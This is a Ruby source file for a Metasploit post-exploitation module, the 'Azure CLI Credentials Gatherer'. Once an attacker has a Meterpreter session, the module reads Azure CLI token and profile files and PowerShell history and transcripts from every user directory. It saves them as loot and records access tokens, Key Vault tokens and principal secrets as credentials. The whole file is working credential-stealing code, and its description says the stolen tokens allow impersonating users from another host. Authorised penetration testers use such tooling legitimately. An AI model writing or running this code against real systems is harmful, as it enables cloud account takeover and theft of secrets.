249 lines
8.7 KiB
Ruby
249 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Windows::UserProfiles
|
|
include Msf::Post::Azure
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Azure CLI Credentials Gatherer',
|
|
'Description' => %q{
|
|
This module will collect the Azure CLI 2.0+ (az cli) settings files
|
|
for all users on a given target. These configuration files contain
|
|
JWT tokens used to authenticate users and other subscription information.
|
|
Once tokens are stolen from one host, they can be used to impersonate
|
|
the user from a different host.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'James Otten <jamesotten1[at]gmail.com>', # original author
|
|
'h00die' # additions
|
|
],
|
|
'Platform' => ['win', 'linux', 'osx'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def rep_creds(user, pass, type)
|
|
create_credential_and_login({
|
|
# must have an IP address, can't be a domain...
|
|
address: '13.107.246.69', # 'portal.azure.com' https://www.nslookup.io/domains/portal.azure.com/dns-records/ June 24, 2024
|
|
port: 443,
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id,
|
|
origin_type: :service,
|
|
private_type: :password, # most are actually JWT (cookies?) but thats not an option
|
|
private_data: pass,
|
|
service_name: "azure: #{type}",
|
|
module_fullname: fullname,
|
|
username: user,
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
})
|
|
end
|
|
|
|
def parse_json(data)
|
|
data.strip!
|
|
# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
|
|
data.gsub!("\xEF\xBB\xBF", '')
|
|
json_blob = nil
|
|
begin
|
|
json_blob = JSON.parse(data)
|
|
rescue ::JSON::ParserError => e
|
|
print_error("Unable to parse json blob: #{e}")
|
|
end
|
|
json_blob
|
|
end
|
|
|
|
def user_dirs
|
|
user_dirs = []
|
|
if session.platform == 'windows'
|
|
grab_user_profiles.each do |profile|
|
|
user_dirs.push(profile['ProfileDir'])
|
|
end
|
|
elsif session.platform == 'linux' || session.platform == 'osx'
|
|
user_dirs = enum_user_directories
|
|
else
|
|
fail_with(Failure::BadConfig, 'Unsupported platform')
|
|
end
|
|
user_dirs
|
|
end
|
|
|
|
def get_az_version
|
|
command = 'az --version'
|
|
command = "powershell.exe #{command}" if session.platform == 'windows'
|
|
version_output = cmd_exec(command, 60)
|
|
# https://rubular.com/r/IKvnY4f15Rfujx
|
|
version_output.match(/azure-cli\s+\(?([\d.]+)\)?/)
|
|
end
|
|
|
|
def run
|
|
version = get_az_version
|
|
if version.nil?
|
|
print_status('Unable to determine az cli version')
|
|
else
|
|
print_status("az cli version: #{version[1]}")
|
|
end
|
|
profile_table = Rex::Text::Table.new(
|
|
'Header' => 'Subscriptions',
|
|
'Indent' => 1,
|
|
'Columns' => ['Account Name', 'Username', 'Cloud Name']
|
|
)
|
|
tokens_table = Rex::Text::Table.new(
|
|
'Header' => 'Tokens',
|
|
'Indent' => 1,
|
|
'Columns' => ['Source', 'Username', 'Count']
|
|
)
|
|
context_table = Rex::Text::Table.new(
|
|
'Header' => 'Context',
|
|
'Indent' => 1,
|
|
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token', 'Principal Secret']
|
|
)
|
|
|
|
user_dirs.map do |user_directory|
|
|
vprint_status("Looking for az cli data in #{user_directory}")
|
|
# leaving all these as lists for consistency and future expansion
|
|
|
|
# ini file content, not json.
|
|
vprint_status(' Checking for config files')
|
|
%w[.azure/config].each do |file_location|
|
|
possible_location = ::File.join(user_directory, file_location)
|
|
next unless exists?(possible_location)
|
|
|
|
# we would prefer readable?, but windows doesn't support it, so avoiding
|
|
# an extra code branch, just handle read errors later on
|
|
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
# https://stackoverflow.com/a/16088751/22814155 no ini ctype
|
|
loot = store_loot 'azure.config.ini', 'text/plain', session, data, file_location, 'Azure CLI Config'
|
|
print_good " #{file_location} stored in #{loot}"
|
|
end
|
|
|
|
vprint_status(' Checking for context files')
|
|
%w[.azure/AzureRmContext.json].each do |file_location|
|
|
possible_location = ::File.join(user_directory, file_location)
|
|
next unless exists?(possible_location)
|
|
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'
|
|
print_good " #{file_location} stored in #{loot}"
|
|
data = parse_json(data)
|
|
next if data.nil?
|
|
|
|
results = process_context_contents(data)
|
|
results.each do |result|
|
|
context_table << result
|
|
next if result[0].blank?
|
|
next unless framework.db.active
|
|
|
|
rep_creds(result[0], result[2], 'Access Token') unless result[2].blank?
|
|
rep_creds(result[0], result[3], 'Graph Access Token') unless result[3].blank?
|
|
rep_creds(result[0], result[4], 'MS Graph Access Token') unless result[4].blank?
|
|
rep_creds(result[0], result[5], 'Key Vault Token') unless result[5].blank?
|
|
rep_creds(result[0], result[6], 'Principal Secret') unless result[6].blank?
|
|
end
|
|
end
|
|
|
|
vprint_status(' Checking for profile files')
|
|
%w[.azure/azureProfile.json].each do |file_location|
|
|
possible_location = ::File.join(user_directory, file_location)
|
|
next unless exists?(possible_location)
|
|
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'
|
|
print_good " #{file_location} stored in #{loot}"
|
|
data = parse_json(data)
|
|
next if data.nil?
|
|
|
|
results = process_profile_file(data)
|
|
results.each do |result|
|
|
profile_table << result
|
|
end
|
|
end
|
|
|
|
%w[.azure/accessTokens.json].each do |file_location|
|
|
possible_location = ::File.join(user_directory, file_location)
|
|
next unless exists?(possible_location)
|
|
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
loot = store_loot 'azure.token.json', 'text/json', session, data, file_location, 'Azure CLI Tokens'
|
|
print_good " #{file_location} stored in #{loot}"
|
|
results = process_tokens_file(data)
|
|
results.each do |result|
|
|
tokens_table << result
|
|
end
|
|
end
|
|
|
|
# windows only
|
|
next unless session.platform == 'windows'
|
|
|
|
vprint_status(' Checking for console history files')
|
|
%w[AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt].each do |file_location|
|
|
possible_location = ::File.join(user_directory, file_location)
|
|
next unless exists?(possible_location)
|
|
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, possible_location, 'Azure CLI Profile'
|
|
print_good " #{possible_location} stored in #{loot}"
|
|
|
|
results = print_consolehost_history(data)
|
|
results.each do |result|
|
|
print_good(result)
|
|
end
|
|
end
|
|
|
|
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
|
|
vprint_status(' Checking for powershell transcript files')
|
|
|
|
# Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.
|
|
begin
|
|
files = dir("#{user_directory}/Documents")
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
files = []
|
|
end
|
|
|
|
files.each do |file_name|
|
|
next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/
|
|
|
|
possible_location = "#{user_directory}/Documents/#{file_name}"
|
|
data = read_file(possible_location)
|
|
next unless data
|
|
|
|
loot = store_loot 'azure.transcript.txt', 'text/plain', session, data, possible_location, 'Powershell Transcript'
|
|
print_good " #{possible_location} stored in #{loot}"
|
|
|
|
results = print_consolehost_history(data)
|
|
results.each do |result|
|
|
print_good(result)
|
|
end
|
|
end
|
|
end
|
|
|
|
print_good(profile_table.to_s) unless profile_table.rows.empty?
|
|
print_good(tokens_table.to_s) unless tokens_table.rows.empty?
|
|
print_good(context_table.to_s) unless context_table.rows.empty?
|
|
end
|
|
end
|